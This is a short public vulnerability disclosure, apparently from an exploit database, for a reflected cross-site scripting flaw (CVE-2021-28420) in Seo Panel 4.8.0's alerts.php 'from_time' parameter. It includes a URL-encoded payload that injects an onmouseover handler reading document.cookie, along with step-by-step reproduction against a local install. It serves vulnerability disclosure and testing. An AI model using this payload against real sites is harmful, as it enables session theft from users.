Seo Panel 4.8.0 - 'from_time' Reflected XSS

# Exploit Title: Seo Panel 4.8.0 - 'from_time' Reflected XSS
# Date: 23-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28420

-Description:
A cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote
attackers to inject JavaScript via alerts.php and the "from_time" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit: http://localhost/alerts.php?alert_category=general&from_time=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&keyword=&to_time=2021-03-11
3- Hover your mouse to "Period" field